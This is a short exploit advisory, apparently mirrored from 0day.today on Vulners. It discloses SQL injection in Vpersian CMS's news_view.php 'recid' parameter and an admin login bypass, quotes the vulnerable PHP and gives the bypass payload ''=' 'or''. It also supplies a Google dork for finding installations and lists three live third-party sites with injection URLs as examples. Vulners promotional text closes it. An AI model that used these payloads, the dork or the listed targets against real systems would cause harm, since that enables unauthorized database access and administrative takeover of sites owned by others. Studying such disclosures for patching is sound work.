####
#Exploit Title : Vpersian CMS SQL Injection and Authentication bypass
#Author : Abolfazl74
#Home page Link : http://vpersian.net
#Date : 03/02/2015
#Version: All versions
#Google dork: [intext:"VPersian CMS"]
#email : [email protected]
####
// Vulnerability Description:
SQL injection vulnerability:-
==============================
in file news_view.php data from GET parameter 'recid' is not getting filter before passing into SQL query and hence
rising SQL Injection vulnerability
-------------------
POC
-------------------
http://127.0.0.1/news_view.php?recid=SQL
Authentication Bypass:-
==============================
file index.php under directory admin has SQL injection vulnerability
parameter username and password suppliedin post parameter for checking valid admin username and password is not getting
filter before passing into SQL query which arise authentication bypass issue.
vulnerable code is
-------------------
if(isset($_POST[login]))
{
$check="select * from adminlogin where username='$_POST[username]' and password='$_POST[username]'";
$checkresult=mysql_query($check);
$checkcount=mysql_num_rows($checkresult);
if($checkcount>0)
{
$checkrow=mysql_fetch_array($checkresult);
$_SESSION[adminname]=$checkrow[adminname];
$_SESSION[adminloginstatus]="success";
echo "<script>window.location='index.php';</script>";
}
--------------------
POC
--------------------
Open admin page
http://127.0.0.1/admin/
username: '=' 'or'
password: '=' 'or'
#################################3
Example :
http://vpersian.net/news_view.php?recid=11%27
http://4tco.ir/news_view.php?recid=60%27
http://www.mtavoni.com/news_view.php?recid=3%27
# 0day.today [2018-01-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation